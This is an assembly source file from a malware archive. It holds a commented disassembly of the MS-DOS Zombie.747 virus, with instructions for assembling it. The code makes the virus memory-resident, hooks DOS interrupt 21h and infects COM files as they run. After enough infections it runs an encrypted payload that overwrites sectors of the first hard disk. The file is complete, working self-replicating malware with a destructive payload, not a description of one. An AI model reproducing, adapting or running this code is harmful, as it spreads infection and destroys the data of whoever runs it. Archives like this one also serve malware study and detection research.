MalwareSourceCode/MSDOS/Virus.MSDOS.Zombie.747Bytes.asm
vxunderground 2c18b9a798 mov fix
2022-08-21 04:17:12 -05:00

338 lines
12 KiB
NASM

Zombie
Disassembly by Darkman/29A
Zombie.747 is a 747 bytes parasitic resident COM virus. Infects files at
load and execute program, except COMMAND.COM, by appending the virus to the
infected COM file.
To compile Zombie.747 with Turbo Assembler v 4.0 type:
TASM /M ZOMBI747.ASM
TLINK /t /x ZOMBI747.OBJ
.model tiny
.code
org 100h ; Origin of Zombie.747
code_begin:
call crypt_virus
nop
nop
nop
nop
nop
virus_begin:
call delta_offset
delta_offset:
pop bp ; Load BP from stack
sub bp,03h ; BP = delta offset
jmp virus_begin_
stack_end:
stack_ db 7ah dup(?) ; Stack
stack_begin:
int21_addr dd ? ; Address of interrupt 21h
virus_seg dw ? ; Segment of virus
stack_seg dw ? ; Stack segment
stack_ptr dw ? ; Stack pointer
infect_off dw offset infect_file-offset virus_begin
infect_mark db 04h dup(?) ; infection mark
infect_count dw ? ; Infection counter
virus_offset equ word ptr $+01h ; Offset of virus
infect_code db 0e9h,?,? ; JMP imm16 (opcode 0e9h)
origin_code db 0cdh,20h,? ; Original code of infected file
code_begin_ dw 100h ; Offset of beginning of code
int21_virus proc near ; Interrupt 21h of Zombie.747
pushf ; Save flags at stack
cmp ax,4b00h ; Load and execute program?
je load_and_exe ; Equal? Jump to load_and_exe
cmp ax,4b69h ; Zombie.747 function?
je virus_functi ; Equal? Jump to virus_functi
popf ; Load flags from stack
jmp dword ptr cs:[offset int21_addr-offset virus_begin]
endp
virus_functi:
mov bx,ax ; Already resident
popf ; Load flags from stack
iret ; Interrupt return!
load_and_exe:
mov cs:[offset infect_off-offset virus_begin],offset infect_file-offset virus_begin
call setup_stack
popf ; Load flags from stack
jmp dword ptr cs:[offset int21_addr-offset virus_begin]
setup_stack proc near ; Setup stack of the virus
mov cs:[offset stack_seg-offset virus_begin],ss
mov cs:[offset stack_ptr-offset virus_begin],sp
mov ss,cs:[offset virus_seg-offset virus_begin]
mov sp,offset stack_begin-offset virus_begin
push ax bx cx dx es ds si di bp
call cs:[offset infect_off-offset virus_begin]
cmp word ptr cs:[offset infect_count-offset virus_begin],10h
jbe load_stack ; Below or equal? Jump to load_stack
call payload
load_stack:
pop bp di si ds es dx cx bx ax
mov ss,cs:[offset stack_seg-offset virus_begin]
mov sp,cs:[offset stack_ptr-offset virus_begin]
ret ; Return!
endp
payload proc near ; Payload of the virus
mov si,offset crypt_begin-offset virus_begin
mov cx,(crypt_end-crypt_begin)
decrypt_loop:
not byte ptr [si] ; Decrypt a byte
inc si ; Increase index register
loop decrypt_loop
crypt_begin:
mov ax,303h ; Write disk sector(s)
db 31h,0dbh ; XOR BX,BX
mov es,bx ; ES:BX = pointer to data buffer
mov cx,02h ; CX = sector- and cylinder number
mov dx,80h ; DX = drive- and head number
int 13h
crypt_end:
mov si,offset crypt_begin-offset virus_begin
mov cx,(crypt_end-crypt_begin)
encrypt_loop:
not byte ptr [si] ; Encrypt a byte
inc si ; Increase index register
loop encrypt_loop
ret ; Return!
endp
examine_file proc near ; Examine file
cld ; Clear direction flag
find_dot:
lodsb ; AL = byte of filename
cmp al,'.' ; Found the dot in the filename
je examine_fil_ ; Equal? Jump to examine_fil_
or al,al ; End of filename?
loopnz find_dot ; Not zero? Jump to find_dot
jz examine_exit ; Zero? Jump to examine_exit
examine_fil_:
mov ax,[si-06h] ; AX = word of filename
or ax,2020h ; Lowcase word of filename
cmp ax,'mm' ; COMMAND.COM?
je examine_exit ; Equal? Jump to examine_exit
lodsw ; AX = word of extension
or ax,2020h ; Lowcase word of extension
cmp ax,'oc' ; Correct extension?
jne examine_exit ; Not equal? Jump to examine_exit
lodsb ; AL = byte of extension
or al,20h ; Lowcase byte of extension
cmp al,'m' ; Correct extension?
jne examine_exit ; Not equal? Jump to examine_exit
clc ; Clear carry flag
ret ; Return!
examine_exit:
stc ; Set carry flag
ret ; Return!
endp
set_file_pos proc near ; Set current file position
xor cx,cx ; Zero CX
or dx,dx ; Zero DX?
jns set_file_po_ ; Positive? Jump to set_file_po_
not cx ; Invert each bit of low-order wor...
set_file_po_:
mov ah,42h ; Set current file position
int 21h
ret ; Return!
endp
infect_file proc near ; Infect COM file
mov si,dx ; SI = offset of filename
call examine_file
jnc open_file ; No error? Jump to open_file
jmp infect_exit_
open_file:
mov ax,3d02h ; Open file (read/write)
int 21h
jnc read_file ; No error? Jump to read_file
jmp infect_exit_
read_file:
mov bx,ax ; BX = file handle
mov dx,cs ; DX = code segment
mov ds,dx ; DS " " "
mov ah,3fh ; Read from file
mov cx,03h ; Read three bytes
mov dx,offset origin_code-offset virus_begin
int 21h
jnc examine_mark ; No error? Jump to examine_mark
jmp close_file
examine_mark:
mov dx,-28h ; DX = low-order word of offset fr...
mov al,02h ; Set current file position (EOF)
call set_file_pos
jc close_file ; Error? Jump to close_file
nop
nop
nop
mov ah,3fh ; Read from file
mov cx,04h ; Read four bytes
mov dx,offset infect_mark-offset virus_begin
int 21h
jc close_file ; Error? Jump to close_file
nop
nop
nop
cmp word ptr ds:[offset infect_mark-offset virus_begin],'oZ'
jne calc_offset ; Not equal? Jump to calc_offset
nop
nop
nop
cmp word ptr ds:[offset infect_mark+02h-offset virus_begin],'bm'
je close_file ; Previosly infected? Jump to clos...
nop
nop
nop
calc_offset:
xor dx,dx ; Zero DX
mov al,02h ; Set current file position (EOF)
call set_file_pos
jc close_file ; Error? Jump to close_file
nop
nop
nop
sub ax,03h ; AX = offset of virus
mov ds:[offset virus_offset-offset virus_begin],ax
mov ax,5700h ; Get file's date and time
int 21h
push cx dx ; Save registers at stack
mov ah,40h ; Write to file
mov cx,(code_end-virus_begin)
xor dx,dx ; Zero DX
int 21h
jc infect_exit ; Error? Jump to infect_exit
nop
nop
nop
cmp cx,ax ; Written all of the virus?
jne infect_exit ; Not equal? Jump to infect_exit
nop
nop
nop
mov al,00h ; Set current file position (SOF)
xor dx,dx ; Zero DX
call set_file_pos
jc infect_exit ; Error? Jump to infect_exit
nop
nop
nop
mov ah,40h ; Write to file
mov cx,03h ; Write three bytes
mov dx,offset infect_code-offset virus_begin
int 21h
jc infect_exit ; Error? Jump to infect_exit
nop
nop
nop
infect_exit:
inc word ptr cs:[offset infect_count-offset virus_begin]
mov ax,5701h ; Set file's date and time
pop dx cx ; Load registers from stack
int 21h
close_file:
mov ah,3eh ; Close file
int 21h
infect_exit_:
ret ; Return!
endp
get_psp_own proc near ; Get PSP segment of owner or spec...
mov ah,52h ; Get list of lists
int 21h
mov bx,es:[bx-02h] ; BX = segment of first memory con...
mov es,bx ; ES = " " " " "
mov bx,es:[01h] ; BX = PSP segment of owner or spe...
ret ; Return!
endp
allocate_mem proc near ; Allocate memory
push es ; Save ES at stack
mov ax,cs ; AX = segment of PSP for current ...
dec ax ; AX = segment of Memory Control B...
mov es, ax ; ES = " " " " "
mov bx,es:[03h] ; BX = size of memory block in par...
pop es ; Load ES from stack
sub bx,cx ; Subtract number of paragraphs to...
dec bx ; BX = new size in paragraphs
mov ah,4ah ; Resize memory block
int 21h
jc allocat_exit ; Error? Jump to allocat_exit
nop
nop
nop
mov ah,48h ; Allocate memory
mov bx,cx ; BX = number of paragraphs to all...
int 21h
jc allocat_exit ; Error? Jump to allocat_exit
nop
nop
nop
push ax ; Save AX at stack
dec ax ; AX = segment of Memory Control B...
mov es,ax ; ES = " " " " "
push es ; Save ES at stack
call get_psp_own
pop es ; Load ES from stack
mov es:[01h],bx ; Store PSP segment of owner or sp...
pop es ; Load ES from stack
clc ; Clear carry flag
allocat_exit:
ret ; Return!
endp
virus_begin_:
mov ax,4b69h ; Zombie.747 function
xor bx,bx ; Zero BX
int 21h
cmp bx,4b69h ; Already resident?
je virus_exit ; Equal? Jump to virus_exit
nop
nop
nop
mov cx,(data_end-virus_begin+0fh)/10h
call allocate_mem
jc virus_exit ; Error? Jump to virus_exit
nop
nop
nop
mov si,bp ; SI = delta offset
xor di,di ; Zero DI
mov cx,(code_end-virus_begin)
cld ; Clear direction flag
rep movsb ; Move virus to top of memory
mov es:[offset virus_seg-offset virus_begin],es
push es ; Save ES at stack
mov ax,3521h ; Get interrupt vector 21h
int 21h
mov dx,es ; DX = segment of interrupt 21h
pop es ; Load ES from stack
mov word ptr es:[offset int21_addr-offset virus_begin],bx
mov word ptr es:[offset int21_addr+02h-offset virus_begin],dx
mov ax,2521h ; Set interrupt vector 21h
push es ; Save ES at stack
pop ds ; Load DS from stack (ES)
mov dx,offset int21_virus-offset virus_begin
int 21h
virus_exit:
mov ax,cs ; AX = segment of PSP for current ...
mov ds,ax ; DS = " " " " " "
mov es,ax ; ES = " " " " " "
lea si,origin_code ; SI = offset of origin_code
sub si,offset virus_begin
add si,bp ; Add delta offset to offset of co...
mov di,100h ; DI = offset of beginning of code
mov cx,03h ; Move three bytes
cld ; Clear direction flag
rep movsb ; Move the original code to beginning
lea bx,code_begin_ ; BX = offset of code_begin_
sub bx,offset virus_begin
add bx,bp ; Add delta offset to offset of co...
jmp [bx]
db 'Zombie - Danish woodoo hackers (14AUG91)'
code_end:
data_end:
crypt_virus proc ; Encrypt payload of the virus
lea si,crypt_begin ; SI = offset of crypt_begin
mov cx,(crypt_end-crypt_begin)
crypt_loop:
not byte ptr [si] ; Encrypt a byte
inc si ; Increase index register
loop crypt_loop
ret ; Return!
endp
end code_begin